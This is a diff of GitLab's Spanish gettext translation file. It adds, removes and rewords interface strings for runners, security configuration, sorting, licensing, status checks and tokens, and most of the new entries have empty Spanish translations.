+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr "Las claves SSH le permiten establecer una conexión segura entre su ordenador y GitLab."
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr "Clave pública SSH"
@@ -28576,10 +28318,7 @@ msgstr "Guardar la contraseña"
msgid "Save pipeline schedule"
msgstr "Guardar programación del pipeline"
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr "Desplazar hacia arriba"
msgid "Search"
msgstr "Buscar"
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr "Buscar o filtrar resultados..."
msgid "Search or filter results…"
msgstr "Buscar o filtrar resultados…"
-msgid "Search or jump to…"
-msgstr "Buscar o ir a…"
-
msgid "Search project"
msgstr "Buscar proyecto"
@@ -28880,12 +28622,6 @@ msgstr[1] "Resultados de la wiki"
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr "Documentación de características para %{featureName}"
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr "Control de seguridad"
@@ -29036,7 +28802,10 @@ msgstr "Estado"
msgid "SecurityConfiguration|Testing & Compliance"
msgstr "Pruebas y cumplimiento"
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr "%{firstProject} y %{secondProject}"
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr "Añadir proyectos"
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr "Estado"
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr "Se ha producido un error al añadir el comentario."
@@ -29339,9 +29141,6 @@ msgstr "Seleccione el proyecto GitLab para vincular con su equipo de Slack"
msgid "Select Page"
msgstr "Seleccionar página"
-msgid "Select Stack"
-msgstr "Seleccionar el stack"
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr "Seleccione una razón"
msgid "Select a repository"
msgstr "Seleccione un repositorio"
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr "Seleccione una plantilla de repositorio"
@@ -29477,9 +29282,6 @@ msgstr "Seleccionar la suscripción"
msgid "Select target branch"
msgstr "Selecciona una rama de destino"
-msgid "Select the custom project template source group."
-msgstr "Seleccione el grupo de origen de plantilla de proyecto personalizado."
-
msgid "Select timezone"
msgstr ""
@@ -29573,8 +29375,8 @@ msgstr ""
msgid "Send report"
msgstr "Enviar informe"
-msgid "Send usage data"
-msgstr "Enviar estadísticas de uso"
+msgid "Send service data"
+msgstr ""
msgid "Sentry API URL"
msgstr "URL de la API de Sentry"
@@ -29612,11 +29414,11 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
-msgstr "Las métricas de llamadas a funciones serverless requiere que se instale primero Prometheus."
+msgid "ServerlessDetails|Configure cluster."
+msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
-msgstr "Instalar Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
+msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
msgstr "Se están cargando las métricas de invocación o no están disponibles en este momento."
@@ -29657,9 +29459,6 @@ msgstr "Sí cree que ninguno de estos casos aplican, por favor, vuelva a intenta
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr "Instalar Knative"
-
msgid "Serverless|Learn more about Serverless"
msgstr "Obtenga más información sobre Serverless"
@@ -29702,6 +29501,9 @@ msgstr "Plantillas de Servicio"
msgid "Service URL"
msgstr "URL del servicio"
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr "Establezca los requisitos para que un usuario pueda iniciar sesión. Habilite la autenticación basada en dos factores."
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr "Establecer la rama de destino a"
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr "Enlace de ayuda de los ejecutores compartidos"
@@ -30023,9 +29828,6 @@ msgstr "Mostrar toda la actividad"
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr "Mostrar todos los miembros"
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr "Mostrar la descripción del commit"
msgid "Show complete raw log"
msgstr "Mostrar el registro completo sin procesar"
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr "Mostrar detalles"
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr "Mostrar solo los miembros directos"
-
-msgid "Show only inherited members"
-msgstr "Mostrar sólo los miembros heredados"
-
msgid "Show parent pages"
msgstr "Mostrar páginas padre"
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr "Mostrar todas las incidencias"
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr "Se produjo un error al eliminar el paquete."
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr "Se ha producido un error al eliminar la rama origen. Por favor, inténtelo de nuevo."
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr "Se ha producido un error al detener este entorno. Por favor, inténtalo de nuevo."
@@ -30645,12 +30441,6 @@ msgstr "Dirección de ordenación: Ascendente"
msgid "Sort direction: Descending"
msgstr "Dirección de ordenación: Descendente"
-msgid "SortOptions|Access level, ascending"
-msgstr "Nivel de acceso, ascendente"
-
-msgid "SortOptions|Access level, descending"
-msgstr "Nivel de acceso, descendente"
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr "Último Contacto"
msgid "SortOptions|Last created"
msgstr "Fecha de creación"
-msgid "SortOptions|Last joined"
-msgstr "Fecha de incorporación"
-
msgid "SortOptions|Last updated"
msgstr "Fecha de actualización"
@@ -30729,9 +30516,6 @@ msgstr "Nombre, descendente"
msgid "SortOptions|Oldest created"
msgstr "Creado más antiguo"
-msgid "SortOptions|Oldest joined"
-msgstr "Incorporación más antigua"
-
msgid "SortOptions|Oldest last activity"
msgstr "Última actividad más antigua"
@@ -30783,6 +30567,9 @@ msgstr "Comienza más tarde"
msgid "SortOptions|Start soon"
msgstr "Comienza pronto"
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr "Tipo"
@@ -30801,6 +30588,9 @@ msgstr "Origen (rama o tag)"
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr "Etapa"
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr "Estándar"
@@ -31128,12 +30909,18 @@ msgstr "Estado:"
msgid "Status: %{title}"
msgstr "Estado: %{title}"
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr "Almacenamiento:"
msgid "StorageSize|Unknown"
msgstr "Desconocido"
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr "Hito del subgrupo"
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr "Resumen del subgrupo"
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr "Permitido crear subgrupos"
@@ -31635,6 +31425,9 @@ msgstr "Domingo"
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr "URL de la página de soporte"
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,8 +31599,8 @@ msgstr "Cambiar a la fuente para copiar el contenido del archivo"
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
-msgstr "Sincronizar información"
+msgid "Sync LDAP"
+msgstr ""
msgid "Sync now"
msgstr ""
@@ -31812,12 +31608,12 @@ msgstr ""
msgid "Synced"
msgstr "Sincronizado"
-msgid "Synchronization disabled"
-msgstr "Sincronización deshabilitada"
-
msgid "Synchronization settings"
msgstr ""
+msgid "Synchronize LDAP"
+msgstr ""
+
msgid "Syncing…"
msgstr "Sincronizando…"
@@ -32007,6 +31803,9 @@ msgstr "Dominio del equipo"
msgid "Telephone number"
msgstr "Número de teléfono"
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr "Plantilla"
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr "El gestor de incidencias es el lugar para agregar cosas que necesitan ser mejoradas o resueltas en un proyecto"
@@ -32380,6 +32182,9 @@ msgstr "El gestor de incidencias es el lugar para agregar cosas que necesitan se
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr "El resaltado de caracteres le ayuda a mantener la línea de asunto en %{titleLength} caracteres y a limitar el mensaje a %{bodyLength} para que sea legible en git."
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr "La etapa de desarrollo muestra el tiempo desde el primer cambio hasta la creación de la solicitud de fusión. Los datos serán automáticamente incorporados aquí una vez creada tu primera solicitud de fusión."
-
msgid "The collection of events added to the data gathered for that stage."
msgstr "La colección de eventos agregados a los datos recopilados para esa etapa."
@@ -32449,8 +32251,8 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
-msgstr "La ruta de configuración de CI por defecto para nuevos proyectos."
+msgid "The default CI/CD configuration file and path for new projects."
+msgstr ""
msgid "The dependency list details information about the components used within your project."
msgstr "La lista de dependencias detalla la información sobre los componentes utilizados en su proyecto."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr "Los errores que encontramos fueron:"
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr "El archivo se ha creado correctamente."
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "La importación finalizará después de %{timeout}. Para los repositorios que necesiten más tiempo, utilice una combinación de comandos 'clone'/'push'."
@@ -32574,15 +32382,15 @@ msgstr "La invitación ya ha sido aceptada."
msgid "The invitation was successfully resent."
msgstr "La invitación se reenvió correctamente."
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr "La etapa de incidencia muestra el tiempo que toma desde la creación de un tema hasta asignar el tema a un hito, o añadir el tema a una lista en el panel de temas. Empieza a crear temas para ver los datos de esta etapa."
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr "La etapa del ciclo de vida de desarrollo."
-
msgid "The pipeline has been deleted"
msgstr "Se ha eliminado el pipeline"
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr "La etapa de planificación muestra el tiempo desde el paso anterior hasta el envío de tu primera confirmación. Este tiempo se añadirá automáticamente una vez que usted envíe el primer cambio."
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr "La clave privada que se utiliza cuando se proporciona un certificado cliente. Este valor está encriptado."
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr "La etapa de revisión muestra el tiempo desde la creación de la solicitud de fusión hasta que los cambios se fusionaron. Los datos se añadirán automáticamente después de fusionar su primera solicitud de fusión."
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,12 +32562,12 @@ msgstr "El fragmento de código es visible sólo por los miembros del proyecto."
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
+msgid "The source branch will be deleted"
+msgstr ""
+
msgid "The specified tab is invalid, please select another"
msgstr "La pestaña especificada no es válida, por favor seleccione otra"
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
-msgstr "La etapa de puesta en escena muestra el tiempo entre la fusión y el despliegue de código en el entorno de producción. Los datos se añadirán automáticamente una vez que se despliega a producción por primera vez."
-
msgid "The start date must be ealier than the end date."
msgstr ""
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr "La etapa de pruebas muestra el tiempo que GitLab CI toma para ejecutar cada pipeline para la solicitud de fusión relacionada. Los datos se añadirán automáticamente luego de que el primer pipeline termine de ejecutarse."
-
msgid "The time taken by each data entry gathered by that stage."
msgstr "El tiempo utilizado por cada entrada de datos obtenido por esa etapa."
@@ -32793,9 +32589,6 @@ msgstr "El proceso de actualización finalizará después de %{number_of_minutes
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr "Se está eliminando el usuario."
@@ -32814,9 +32607,6 @@ msgstr "El usuario que está intentando desactivar ha estado activo en los últi
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr "El valor en el punto medio de una serie de valores observados. Por ejemplo, entre 3, 5, 9, la mediana es 5. Entre 3, 5, 7, 8, la mediana es (5 + 7) / 2 = 6."
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr "Se ha producido un problema al conectarse con su dispositivo."
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr "Se ha producido un error al cargar el calendario de actividades de los usuarios."
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr "Se ha producido un error con reCAPTCHA. Por favor, resuelva el reCAPTCHA de nuevo."
@@ -33189,8 +32982,8 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
-msgstr "Ofertas de terceros"
+msgid "Third-party offers"
+msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr "Este %{issuableDisplayName} está bloqueado. Solo los miembros del proyecto pueden comentar."
@@ -33285,6 +33078,9 @@ msgstr "El alcance de este tablero es limitado"
msgid "This chart could not be displayed"
msgstr "No se puede mostrar este gráfico"
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr "Este dispositivo no se ha registrado con nosotros."
msgid "This diff is collapsed."
msgstr "El diff está contraído."
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr "Se ha eliminado el diff por una entrada en el fichero .gitattributes."
-
msgid "This directory"
msgstr "Este directorio"
@@ -33411,7 +33204,7 @@ msgstr "Esta es una lista de dispositivos desde los que ha iniciado sesión. Cie
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr "Para conectar a los repositorios de GitHub, primero debe autorizar a Git
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr "Para conectar un repositorio SVN, eche un vistazo a %{svn_link}."
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr "Para definir los usuarios internos, primero habilite nuevos usuarios externos"
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr "Para configurar la autenticación SAML para su grupo a través de un pro
msgid "To set up this service:"
msgstr "Para configurar este servicio:"
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr "Para especificar el nivel de notificación por proyecto de un grupo al que pertenece, debe visitar la página del proyecto y cambiar el nivel de las notificaciones."
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr "Mañana"
@@ -34354,6 +34159,9 @@ msgstr "Demasiados espacios de nombres habilitados. Necesitará administrarlos a
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr "Demasiados proyectos habilitados. Necesitará administrarlos a través de la consola o mediante el API."
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr "Seguimiento"
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr "Haga un seguimiento de grupos de incidencias que comparten un tema, a través de proyectos e hitos"
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr "Seguimiento del tiempo con acciones rápidas"
